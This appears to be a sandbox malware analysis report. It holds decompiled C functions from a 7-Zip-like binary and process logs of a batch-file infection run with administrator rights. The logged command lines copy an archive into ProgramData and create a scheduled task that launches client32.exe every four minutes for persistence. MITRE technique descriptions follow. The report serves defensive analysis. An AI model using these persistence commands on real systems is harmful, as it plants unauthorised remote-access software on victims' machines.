				 *((char*)( *((intOrPtr*)(_t68 + 0x10)))) = 0;
				_t36 =  *((intOrPtr*)(__edx + 4));
				if(_t36 != 0) {
					_t61 = _t36 + _t36;
					if(_t61 >=  *((intOrPtr*)(_t68 - 0x1c))) {
						E00401EEE(_t68 - 0x24, _t61);
					}
					_t54 = _t68 + 0xc;
					_t42 = WideCharToMultiByte( *(_t68 + 8), 0,  *_t65, _t65[1],  *(_t68 - 0x24), _t61 + 1, _t54, _t68 - 0x14);
					 *((char*)( *((intOrPtr*)(_t68 + 0x10)))) = _t54 & 0xffffff00 |  *(_t68 - 0x14) != 0x00000000;
					if(_t42 == 0) {
						 *((intOrPtr*)(_t68 + 0x10)) = 0x44e75;
						_t42 = E0046B8F4(_t68 + 0x10, 0x47e128);
					}
					( *(_t68 - 0x24))[_t42] = 0;
					 *(_t68 - 0x20) = _t42;
				}
				E00401E64( *((intOrPtr*)(_t68 - 0x10)), _t68 - 0x24);
				L00407A18( *(_t68 - 0x24));
				 *[fs:0x0] =  *((intOrPtr*)(_t68 - 0xc));
				return  *((intOrPtr*)(_t68 - 0x10));
			}

0x00408173
0x0040817c
0x00408182
0x00408189
0x0040818c
0x0040818f
0x00408192
0x00408195
0x0040819d
0x004081a0
0x004081a2
0x004081a7
0x004081aa
0x004081b0
0x004081b6
0x004081b6
0x004081c4
0x004081d3
0x004081e5
0x004081e7
0x004081f2
0x004081f9
0x004081f9
0x00408201
0x00408204
0x00408204
0x0040820e
0x00408216
0x00408224
0x0040822c

APIs

__EH_prolog.LIBCMT ref: 00408173
WideCharToMultiByte.KERNEL32(?,00000000,?,00000004,00000003,00000001,?,00000000,59@,00000003,?,00000000,00407F1C,00000000), ref: 004081D3

Strings

59@, xrefs: 004081A9

Memory Dump Source

Source File: 0000000B.00000002.353629100.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.353620656.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353773201.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353794533.000000000048A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353810041.000000000048B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353815921.000000000048C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353820295.000000000048D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353830778.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353838498.0000000000499000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_7zz.jbxd

Similarity

API ID: ByteCharH_prologMultiWide
String ID: 59@
API String ID: 3731712410-2780377667
Opcode ID: cca64006790c7c7342a8a3e96f99ab29b097210d3a83f14494d9e30c1e4a360b
Instruction ID: af53ffafe5e3b4cbac78d31c94e9b62b0eb73677ea79480e45141f723c5d0b6c
Opcode Fuzzy Hash: cca64006790c7c7342a8a3e96f99ab29b097210d3a83f14494d9e30c1e4a360b
Instruction Fuzzy Hash: 24213C72900249DFCB14DF99C9819EEBBF8FF49300B50446EE815B7251C739AE04CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 00414B6B Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 66
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00414B6B(void* __eflags) {
				char _t32;
				void* _t37;
				char _t39;
				void* _t55;
				intOrPtr _t58;
				void* _t59;

				L0046B890(E00474780, _t59);
				_t39 = 0;
				 *((intOrPtr*)(_t59 - 0x20)) = 0;
				 *((intOrPtr*)(_t59 - 0x28)) = 0x47aacc;
				 *((intOrPtr*)(_t59 - 4)) = 0;
				if(L00413C1F(_t59 - 0x28, 0x500) != 0) {
					_t58 =  *((intOrPtr*)(_t59 - 0x20));
					_t32 = 0;
					do {
						 *((char*)(_t32 + _t58)) = _t32;
						_t32 = _t32 + 1;
					} while (_t32 < 0x100);
					if(E00414C43(_t32, _t58, 0x100) == 0x29058c73) {
						 *((intOrPtr*)(_t59 - 0x1c)) = 0x159a55e5;
						 *((intOrPtr*)(_t59 - 0x18)) = 0x1f123bb5;
						E00414C74(_t58 + 0x100, 0x400, _t59 - 0x1c);
						 *((intOrPtr*)(_t59 - 0x14)) = 0;
						do {
							_t36 =  *((intOrPtr*)(_t59 - 0x14));
							 *(_t59 - 0x10) =  *(_t59 - 0x10) & 0x00000000;
							_t55 =  *((intOrPtr*)(_t59 - 0x14)) + _t58;
							while(1) {
								_t37 = E00414C43(_t36, _t55,  *(_t59 - 0x10));
								if(_t37 != E0046B1C0(_t55,  *(_t59 - 0x10))) {
									break;
								}
								 *(_t59 - 0x10) =  *(_t59 - 0x10) + 1;
								if( *(_t59 - 0x10) < 0x20) {
									continue;
								} else {
									goto L8;
								}
								goto L10;
							}
							_t39 = 0;
							goto L10;
							L8:
							 *((intOrPtr*)(_t59 - 0x14)) =  *((intOrPtr*)(_t59 - 0x14)) + 1;
						} while ( *((intOrPtr*)(_t59 - 0x14)) < 0x4e0);
						_t39 = 1;
					}
				}
				L10:
				 *((intOrPtr*)(_t59 - 0x28)) = 0x47aacc;
				E004585E0( *((intOrPtr*)(_t59 - 0x20)));
				 *[fs:0x0] =  *((intOrPtr*)(_t59 - 0xc));
				return _t39;
			}

0x00414b70
0x00414b79
0x00414b7d
0x00414b80
0x00414b8f
0x00414b99
0x00414b9f
0x00414ba2
0x00414ba9
0x00414ba9
0x00414bac
0x00414bad
0x00414bbd
0x00414bce
0x00414bd5
0x00414bdc
0x00414be1
0x00414be4
0x00414be4
0x00414be7
0x00414beb
0x00414bee
0x00414bf3
0x00414c06
0x00000000
0x00000000
0x00414c08
0x00414c0f
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00414c0f
0x00414c3f
0x00000000
0x00414c11
0x00414c11
0x00414c14
0x00414c1d
0x00414c1d
0x00414bbd
0x00414c1f
0x00414c22
0x00414c29
0x00414c36
0x00414c3e

APIs

__EH_prolog.LIBCMT ref: 00414B70

Strings

[<A, xrefs: 00414B80, 00414C22
, xrefs: 00414C0B

Memory Dump Source

Source File: 0000000B.00000002.353629100.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.353620656.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353773201.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353794533.000000000048A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353810041.000000000048B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353815921.000000000048C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353820295.000000000048D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353830778.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353838498.0000000000499000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_7zz.jbxd

Similarity

API ID: H_prolog
String ID: $[<A
API String ID: 3519838083-980560344
Opcode ID: fc09c8835bf1d1419033baf57481bdbf59988f115ef5698bf44c214e65704d7e
Instruction ID: a66645b3afa9c2ee447036ac3f63c81d7f7369c510e48348743a797e60edc476
Opcode Fuzzy Hash: fc09c8835bf1d1419033baf57481bdbf59988f115ef5698bf44c214e65704d7e
Instruction Fuzzy Hash: BD218E70A012198BCF04EFA5C5806EEB776FFD8308F64441FC502B7241EB789A85CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 00416E2C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 64
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00416E2C(intOrPtr __ecx) {
				void* _t24;
				void* _t27;
				intOrPtr* _t30;
				signed int _t49;
				intOrPtr* _t52;
				void* _t54;

				L0046B890(E00474B74, _t54);
				 *((intOrPtr*)(_t54 - 0x14)) = __ecx;
				 *((intOrPtr*)(_t54 - 0x10)) = 0x48bf2c;
				do {
					_t49 = 0;
					_t52 =  *((intOrPtr*)( *((intOrPtr*)(_t54 - 0x10))));
					if( *_t52 != 0) {
						_t30 = _t52;
						do {
							_t49 = _t49 + 1;
							_t30 = _t30 + 2;
						} while ( *_t30 != 0);
					}
					_t37 =  *((intOrPtr*)(_t54 - 0x14));
					if( *((intOrPtr*)( *((intOrPtr*)(_t54 - 0x14)) + 4)) < _t49) {
						goto L7;
					} else {
						L00407399(_t37, _t54 - 0x20, _t49);
						 *(_t54 - 4) = 0;
						_t27 = E0040807A(_t52);
						 *(_t54 - 4) =  *(_t54 - 4) | 0xffffffff;
						L00407A18( *((intOrPtr*)(_t54 - 0x20)));
						if((0 | _t27 != 0x00000000) != 0 || E00416EDE( *((intOrPtr*)(_t54 - 0x14)), _t49) != 0) {
							goto L7;
						} else {
							L9:
							_t24 = 0;
						}
					}
					L11:
					 *[fs:0x0] =  *((intOrPtr*)(_t54 - 0xc));
					return _t24;
					L7:
					 *((intOrPtr*)(_t54 - 0x10)) =  *((intOrPtr*)(_t54 - 0x10)) + 4;
				} while ( *((intOrPtr*)(_t54 - 0x10)) < 0x48bf3c);
				if(E00416F4A( *((intOrPtr*)(_t54 - 0x14)), 0x48bf68) != 0) {
					_t24 = E00416F4A( *((intOrPtr*)(_t54 - 0x14)), 0x48bf60);
				} else {
					goto L9;
				}
				goto L11;
			}

0x00416e31
0x00416e3c
0x00416e3f
0x00416e46
0x00416e4b
0x00416e4d
0x00416e52
0x00416e54
0x00416e56
0x00416e56
0x00416e58
0x00416e59
0x00416e56
0x00416e5e
0x00416e64
0x00000000
0x00416e66
0x00416e6b
0x00416e74
0x00416e77
0x00416e84
0x00416e88
0x00416e90
0x00000000
0x00416ebe
0x00416ebe
0x00416ebe
0x00416ebe
0x00416e90
0x00416ecf
0x00416ed5
0x00416edd
0x00416ea0
0x00416ea0
0x00416ea4
0x00416ebc
0x00416eca
0x00000000
0x00000000
0x00000000
0x00000000

APIs

__EH_prolog.LIBCMT ref: 00416E31

Strings

COM, xrefs: 00416EB0
LPT, xrefs: 00416EC5

Memory Dump Source

Source File: 0000000B.00000002.353629100.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.353620656.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353773201.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353794533.000000000048A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353810041.000000000048B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353815921.000000000048C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353820295.000000000048D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353830778.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353838498.0000000000499000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_7zz.jbxd

Similarity

API ID: H_prolog
String ID: COM$LPT
API String ID: 3519838083-915345583
Opcode ID: d26558381b6772eea968b0d54f164c3262fecb6ff468361b5f304004559fcc44
Instruction ID: 7fc7bf41c9544355426c18039b4ebced735f38342408f175ac6efea5b4200ce5
Opcode Fuzzy Hash: d26558381b6772eea968b0d54f164c3262fecb6ff468361b5f304004559fcc44
Instruction Fuzzy Hash: FD118135E00215CBCF10EFA5C9415EEB376EF85318B11866FD511A7291C7389D86CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 004080C7 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 60
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004080C7(intOrPtr __ecx, char** __edx, void* __eflags) {
				signed int _t33;
				intOrPtr _t48;
				char** _t52;
				void* _t55;

				L0046B890(0x473804, _t55);
				 *((intOrPtr*)(_t55 - 0x10)) = __ecx;
				_t52 = __edx;
				 *((intOrPtr*)(_t55 - 0x14)) = 0;
				 *(_t55 - 0x20) = 0;
				 *(_t55 - 0x1c) = 0;
				 *((intOrPtr*)(_t55 - 0x18)) = 0;
				E00401E9A(_t55 - 0x20, 3);
				_t48 =  *((intOrPtr*)(__edx + 4));
				 *((intOrPtr*)(_t55 - 4)) = 0;
				if(_t48 != 0) {
					if(_t48 >=  *((intOrPtr*)(_t55 - 0x18))) {
						E00401E9A(_t55 - 0x20, _t48);
					}
					_t33 = MultiByteToWideChar( *(_t55 + 8), 0,  *_t52, _t52[1],  *(_t55 - 0x20), _t48 + 1);
					if(_t33 == 0) {
						 *(_t55 + 8) = 0x44e74;
						_t33 = E0046B8F4(_t55 + 8, 0x47e128);
					}
					( *(_t55 - 0x20))[_t33] = 0;
					 *(_t55 - 0x1c) = _t33;
				}
				L004039C0( *((intOrPtr*)(_t55 - 0x10)), _t55 - 0x20);
				L00407A18( *(_t55 - 0x20));
				 *[fs:0x0] =  *((intOrPtr*)(_t55 - 0xc));
				return  *((intOrPtr*)(_t55 - 0x10));
			}

0x004080cc
0x004080d6
0x004080dc
0x004080e3
0x004080e6
0x004080e9
0x004080ec
0x004080ef
0x004080f4
0x004080f7
0x004080fc
0x00408101
0x00408107
0x00408107
0x0040811c
0x00408124
0x0040812f
0x00408136
0x00408136
0x0040813e
0x00408142
0x00408142
0x0040814c
0x00408154
0x00408163
0x0040816b

APIs

__EH_prolog.LIBCMT ref: 004080CC
MultiByteToWideChar.KERNEL32(?,00000000,?,00000002,?,?,00000003,59@,?,00000000,?,?,?,?,00000000), ref: 0040811C

Strings

59@, xrefs: 004080D9

Memory Dump Source

Source File: 0000000B.00000002.353629100.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.353620656.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353773201.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353794533.000000000048A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353810041.000000000048B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353815921.000000000048C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353820295.000000000048D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353830778.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353838498.0000000000499000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_7zz.jbxd

Similarity

API ID: ByteCharH_prologMultiWide
String ID: 59@
API String ID: 3731712410-2780377667
Opcode ID: 0f8662713c83e95714aba9deeb3797d35e9e1b8134e45804137dbe2add49231d
Instruction ID: d702833a8b0d2e9c08c0512ca54372eb887272844dd4864684de151fd06ec4aa
Opcode Fuzzy Hash: 0f8662713c83e95714aba9deeb3797d35e9e1b8134e45804137dbe2add49231d
Instruction Fuzzy Hash: 8D11F9B1900119AFCF10EF9AC9819EEBBB9FF88354B40443EE545B7251D7386A41CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 0046CD08 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 45
threadCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0046CD08(struct _SECURITY_ATTRIBUTES* _a4, char _a8, intOrPtr _a12, intOrPtr _a16, long _a20, DWORD* _a24) {
				void* _t18;
				long _t25;
				void* _t26;

				_t25 = 0;
				_t26 = L0046FE93(1, 0x74);
				if(_t26 == 0) {
					L3:
					E0046C0FF(_t26);
					if(_t25 != 0) {
						E004705D3(_t25);
					}
					return 0;
				}
				E0046E370(_t26);
				 *(_t26 + 4) =  *(_t26 + 4) | 0xffffffff;
				 *((intOrPtr*)(_t26 + 0x48)) = _a12;
				 *((intOrPtr*)(_t26 + 0x4c)) = _a16;
				_t9 =  &_a8; // 0x414677
				_t18 = CreateThread(_a4,  *_t9, E0046CD73, _t26, _a20, _a24);
				if(_t18 == 0) {
					_t25 = GetLastError();
					goto L3;
				}
				return _t18;
			}

0x0046cd11
0x0046cd18
0x0046cd1e
0x0046cd5b
0x0046cd5c
0x0046cd64
0x0046cd67
0x0046cd6c
0x00000000
0x0046cd6d
0x0046cd21
0x0046cd2d
0x0046cd31
0x0046cd3a
0x0046cd43
0x0046cd49
0x0046cd51
0x0046cd59
0x00000000
0x0046cd59
0x0046cd72

APIs

Part of subcall function 0046FE93: HeapAlloc.KERNEL32(00000008,?,00000000,00000000,00000001,0046E3A8,00000001,00000074,?,?,00000000,00000001), ref: 0046FF89

CreateThread.KERNEL32 ref: 0046CD49
GetLastError.KERNEL32(?,00467AE9,00000000,00000000,004148ED,?,00000000,?,?,00414677,?,?), ref: 0046CD53

Strings

wFA, xrefs: 0046CD43

Memory Dump Source

Source File: 0000000B.00000002.353629100.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.353620656.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353773201.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353794533.000000000048A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353810041.000000000048B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353815921.000000000048C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353820295.000000000048D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353830778.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353838498.0000000000499000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_7zz.jbxd

Similarity

API ID: AllocCreateErrorHeapLastThread
String ID: wFA
API String ID: 3580101977-151469634
Opcode ID: bca6ed14731a83f96cd72b136ae458bb77350bd97c3526b98f01085be3a4c1b6
Instruction ID: 3bcaffb1de1f861aa2c0b81efa8886cf09e347fde19023c9913c4d3a853d5ec3
Opcode Fuzzy Hash: bca6ed14731a83f96cd72b136ae458bb77350bd97c3526b98f01085be3a4c1b6
Instruction Fuzzy Hash: 0DF0F4366006116BDB209F66EC41DAB3FA5DF81771B10443FFA5C82690EB3988518BAA

Uniqueness

Uniqueness Score: -1.00%

Function 0046F168 Relevance: 5.1, APIs: 4, Instructions: 53
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0046F168() {
				signed int _t15;
				void* _t17;
				void* _t19;
				void* _t25;
				signed int _t26;
				void* _t27;
				intOrPtr* _t29;

				_t15 =  *0x496574; // 0x0
				_t26 =  *0x496564; // 0x0
				if(_t15 != _t26) {
					L3:
					_t27 =  *0x496578; // 0x0
					_t29 = _t27 + (_t15 + _t15 * 4) * 4;
					_t17 = HeapAlloc( *0x496580, 8, 0x41c4);
					 *(_t29 + 0x10) = _t17;
					if(_t17 == 0) {
						L6:
						return 0;
					}
					_t19 = VirtualAlloc(0, 0x100000, 0x2000, 4);
					 *(_t29 + 0xc) = _t19;
					if(_t19 != 0) {
						 *(_t29 + 8) =  *(_t29 + 8) | 0xffffffff;
						 *_t29 = 0;
						 *((intOrPtr*)(_t29 + 4)) = 0;
						 *0x496574 =  *0x496574 + 1;
						 *( *(_t29 + 0x10)) =  *( *(_t29 + 0x10)) | 0xffffffff;
						return _t29;
					}
					HeapFree( *0x496580, 0,  *(_t29 + 0x10));
					goto L6;
				}
				_t2 = _t26 * 4; // 0x50
				_t25 = HeapReAlloc( *0x496580, 0,  *0x496578, _t26 + _t2 + 0x50 << 2);
				if(_t25 == 0) {
					goto L6;
				}
				 *0x496564 =  *0x496564 + 0x10;
				 *0x496578 = _t25;
				_t15 =  *0x496574; // 0x0
				goto L3;
			}

0x0046f168
0x0046f16d
0x0046f179
0x0046f1ab
0x0046f1ab
0x0046f1c1
0x0046f1c4
0x0046f1cc
0x0046f1cf
0x0046f1fb
0x00000000
0x0046f1fb
0x0046f1de
0x0046f1e6
0x0046f1e9
0x0046f1ff
0x0046f203
0x0046f205
0x0046f208
0x0046f211
0x00000000
0x0046f214
0x0046f1f5
0x00000000
0x0046f1f5
0x0046f17b
0x0046f190
0x0046f198
0x00000000
0x00000000
0x0046f19a
0x0046f1a1
0x0046f1a6
0x00000000

APIs

HeapReAlloc.KERNEL32(00000000,00000050,00000000,00000000,0046EF30,00000000,00000000,00000000,0046C051,00000000,00000000,?,00000000,00000000,00000000), ref: 0046F190
HeapAlloc.KERNEL32(00000008,000041C4,00000000,00000000,0046EF30,00000000,00000000,00000000,0046C051,00000000,00000000,?,00000000,00000000,00000000), ref: 0046F1C4
VirtualAlloc.KERNEL32(00000000,00100000,00002000,00000004), ref: 0046F1DE
HeapFree.KERNEL32(00000000,?), ref: 0046F1F5

Memory Dump Source

Source File: 0000000B.00000002.353629100.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.353620656.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353773201.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353794533.000000000048A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353810041.000000000048B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353815921.000000000048C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353820295.000000000048D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353830778.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353838498.0000000000499000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_7zz.jbxd

Similarity

API ID: AllocHeap$FreeVirtual
String ID:
API String ID: 3499195154-0
Opcode ID: cb8af63cc659436922efd35e7e30b185ae4ad1793d55aff047b0aee091a2b577
Instruction ID: 7b68cd01d263c33f28d48fb30cc88c12b2ab1b0083907142a34400c88376abf0
Opcode Fuzzy Hash: cb8af63cc659436922efd35e7e30b185ae4ad1793d55aff047b0aee091a2b577
Instruction Fuzzy Hash: 3B118F30600201EFE721CF28FC459567BB1FB953A07524A3AF1A5C21B4D7719C56CB0D

Uniqueness

Uniqueness Score: -1.00%

Function 0046E541 Relevance: 5.0, APIs: 4, Instructions: 12
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0046E541(void* __eax) {
				void* _t1;

				_t1 = __eax;
				InitializeCriticalSection( *0x48e0ac);
				InitializeCriticalSection( *0x48e09c);
				InitializeCriticalSection( *0x48e08c);
				InitializeCriticalSection( *0x48e06c);
				return _t1;
			}

0x0046e541
0x0046e54e
0x0046e556
0x0046e55e
0x0046e566
0x0046e569

APIs

InitializeCriticalSection.KERNEL32(?,0046E322,?,0046CFBC), ref: 0046E54E
InitializeCriticalSection.KERNEL32(?,0046E322,?,0046CFBC), ref: 0046E556
InitializeCriticalSection.KERNEL32(?,0046E322,?,0046CFBC), ref: 0046E55E
InitializeCriticalSection.KERNEL32(?,0046E322,?,0046CFBC), ref: 0046E566

Memory Dump Source

Source File: 0000000B.00000002.353629100.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.353620656.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353773201.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353794533.000000000048A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353810041.000000000048B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353815921.000000000048C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353820295.000000000048D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353830778.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353838498.0000000000499000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_7zz.jbxd

Similarity

API ID: CriticalInitializeSection
String ID:
API String ID: 32694325-0
Opcode ID: dc021efed5507b4fb83a724604d938c0a9f009831836a325e097d52029dd6aec
Instruction ID: 41dab6ff28bf4c48c80b7d4fe62f18fd1ff32017a734059296a2bd387a42c2bf
Opcode Fuzzy Hash: dc021efed5507b4fb83a724604d938c0a9f009831836a325e097d52029dd6aec
Instruction Fuzzy Hash: 03C00231811038FFCF122B67FC4494D3F66EB462603254C7AE1085203086A11C61EFEB

Uniqueness

Uniqueness Score: -1.00%

Target ID:	0
Start time:	17:27:07
Start date:	18/07/2023
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\VjFeSeLhGMruZwwyqsIvUMXvstQqpgFfbYh.bat" "
Imagebase:	0x7ff7651b0000
File size:	273'920 bytes
MD5 hash:	4E2ACF4F8A396486AB4268C94A6A245F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Target ID:	2
Start time:	17:27:08
Start date:	18/07/2023
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd.exe /c C:\ProgramData\sett.bat"
Imagebase:	0x7ff7651b0000
File size:	273'920 bytes
MD5 hash:	4E2ACF4F8A396486AB4268C94A6A245F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Target ID:	4
Start time:	17:27:10
Start date:	18/07/2023
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd.exe /c C:\ProgramData\7z.bat"
Imagebase:	0x7ff7651b0000
File size:	273'920 bytes
MD5 hash:	4E2ACF4F8A396486AB4268C94A6A245F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Target ID:	6
Start time:	17:27:11
Start date:	18/07/2023
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd.exe /c C:\ProgramData\2.bat"
Imagebase:	0x7ff7651b0000
File size:	273'920 bytes
MD5 hash:	4E2ACF4F8A396486AB4268C94A6A245F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Target ID:	8
Start time:	17:27:12
Start date:	18/07/2023
Path:	C:\Windows\System32\xcopy.exe
Wow64 process (32bit):	false
Commandline:	xcopy /h /y lol.7z C:\ProgramData\
Imagebase:	0x7ff7293d0000
File size:	47'616 bytes
MD5 hash:	6BC7DB1465BEB7607CBCBD7F64007219
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Target ID:	12
Start time:	17:27:15
Start date:	18/07/2023
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	SCHTASKS /create /F /tn "KAVAQQQ" /tr "cmd.exe /c C:\ProgramData\client32.exe" /sc minute /mo 4 /sd 01/01/2022 /st 00:00
Imagebase:	0x7ff6266f0000
File size:	226'816 bytes
MD5 hash:	838D346D1D28F00783B7A6C6BD03A0DA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Target ID:	24
Start time:	17:27:18
Start date:	18/07/2023
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	SCHTASKS /create /F /tn "KAVAQQQ" /tr "cmd.exe /c C:\ProgramData\client32.exe" /sc minute /mo 4 /sd 01/01/2022 /st 00:00
Imagebase:	0x7ff6266f0000
File size:	226'816 bytes
MD5 hash:	838D346D1D28F00783B7A6C6BD03A0DA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Target ID:	30
Start time:	17:28:02
Start date:	18/07/2023
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd.exe /c C:\ProgramData\client32.exe
Imagebase:	0x7ff7651b0000
File size:	273'920 bytes
MD5 hash:	4E2ACF4F8A396486AB4268C94A6A245F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically requires being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	File monitoring, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
